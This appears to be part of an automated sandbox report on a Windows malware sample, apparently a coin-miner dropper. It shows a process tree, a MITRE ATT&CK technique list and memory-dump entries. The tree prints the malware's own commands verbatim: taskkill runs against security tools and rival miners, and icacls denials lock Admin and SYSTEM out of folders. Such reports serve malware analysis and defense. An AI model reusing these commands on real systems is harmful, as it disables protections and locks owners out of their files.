        PID:1984
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM security.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:684
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM comdev.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1096
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\comdev\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2120
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\comdev\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2988
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM wmipr.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2156
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\wmipr\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2344
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\wmipr\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2380
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM vshub.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2436
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM vsnhub.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2464
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM erenhub.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1972
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM AudioHD.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2616
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM AudioDriver.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2572
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM penapen.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:344
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM lum.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1316
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM syslog.exe /T /F
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1940
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\syslog\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:1116
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\syslog\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:300
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM wutphost.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2656
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\wutphost\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2896
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\wutphost\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2744
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM winlg.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1344
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Roaming\GoogleSoftware\\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:1668
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Roaming\GoogleSoftware\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2848
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM pythonw.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2948
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM UsersControl.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2888
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM WindowHelperStorageHostSystemThread118466.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2900
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM WindowHelperStorageHostSystemThread100040.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1780
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM WindowHelperStorageHostSystemThread106333.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2912
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 1 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:1728
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM wup.exe /T /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2916
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\local\temp\wup\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2068
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\local\temp\wup\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:1644
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM bot.exe /T /F
        7⤵
        Kills process with taskkill
        
        PID:1848
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM intel.exe /T /F
        7⤵
        Kills process with taskkill
        
        PID:1864
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\programdata\DriversI\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2128
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\programdata\DriversI\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:1096
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM minergate-cli.exe /T /F
        7⤵
        Kills process with taskkill
        
        PID:2152
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM msvc.exe /T /F
        7⤵
        Kills process with taskkill
        
        PID:2256
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Roaming\Svcms\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2112
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Roaming\Svcms\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2432
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM FileSystemDriver.exe /T /F
        7⤵
        Kills process with taskkill
        
        PID:2828
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\FileSystemDriver\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2444
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\FileSystemDriver\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2204
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM geckof.exe /T /F
        7⤵
        Kills process with taskkill
        
        PID:2144
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\geckof\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2396
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\geckof\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2032
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM initwin.exe /T /F
        7⤵
        Kills process with taskkill
        
        PID:2476
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\initwin\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2460
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\initwin\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:824
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM packagest.exe /F
        7⤵
        Kills process with taskkill
        
        PID:2320
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\packagest\ /deny Admin:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:1600
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\users\Admin\AppData\Local\packagest\ /deny system:(OI)(CI)(F)
        7⤵
        Modifies file permissions
        
        PID:2224
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM ursb.exe /F
        7⤵
        Kills process with taskkill
        
        PID:568
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM hssvc.exe /T /F
        7⤵
        Kills process with taskkill
        
        PID:2168
        
        C:\Windows\SysWOW64\taskkill.exe
        
        TASKKILL /IM xmrig.exe /T /F
        7⤵
        Kills process with taskkill
        
        PID:1788
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM CPU.exe /T /F
        7⤵
        Kills process with taskkill
        
        PID:2600
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Programdata\microsoft\intel\L.bat" "
        5⤵
        
        PID:1192
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 1251
        6⤵
        
        PID:1560
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 866
        6⤵
        
        PID:1828
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 12 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:1592
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Programdata\microsoft\intel\fake.vbs"
        5⤵
        
        PID:2000
- C:\programdata\microsoft\intel\TStart.exe
  "C:\programdata\microsoft\intel\TStart.exe"
  2⤵
  - Executes dropped EXE
  PID:1868

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1664636167848899562543390989-2073446692-1099718487-13253177671804770847-225461025"
1⤵
- Executes dropped EXE
PID:1516

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1945976536-22649861317238444887473961731570812666-2249076656545273411202896120"
1⤵
PID:556

C:\Folder58\svnhost.exe
C:\Folder58\svnhost.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2536
- C:\Folder58\svcservice.exe
  C:\Folder58\svcservice.exe
  2⤵
  - Executes dropped EXE
  PID:2084
- - C:\Folder58\svcservice.exe
    C:\Folder58\svcservice.exe /tray
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: SetClipboardViewer
    PID:2636
- C:\Folder58\svcservice.exe
  C:\Folder58\svcservice.exe /tray
  2⤵
  - Executes dropped EXE
  PID:2604

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Winlogon Helper DLL

T1004

Privilege Escalation

Bypass User Account Control

T1088

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Impair Defenses

T1562

Install Root Certificate

T1130

Modify Registry

T1112

Web Service

T1102

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

memory/744-54-0x0000000075DF1000-0x0000000075DF3000-memory.dmp

Filesize
8KB

Download
memory/1504-133-0x000007FEFBB61000-0x000007FEFBB63000-memory.dmp

Filesize
8KB

Download
memory/1936-213-0x00000000772E0000-0x0000000077489000-memory.dmp

Filesize
1.7MB

Download
memory/2224-311-0x0000000000400000-0x0000000000553000-memory.dmp

Filesize
1.3MB

Download
memory/2388-309-0x0000000000400000-0x0000000000553000-memory.dmp

Filesize
1.3MB

Download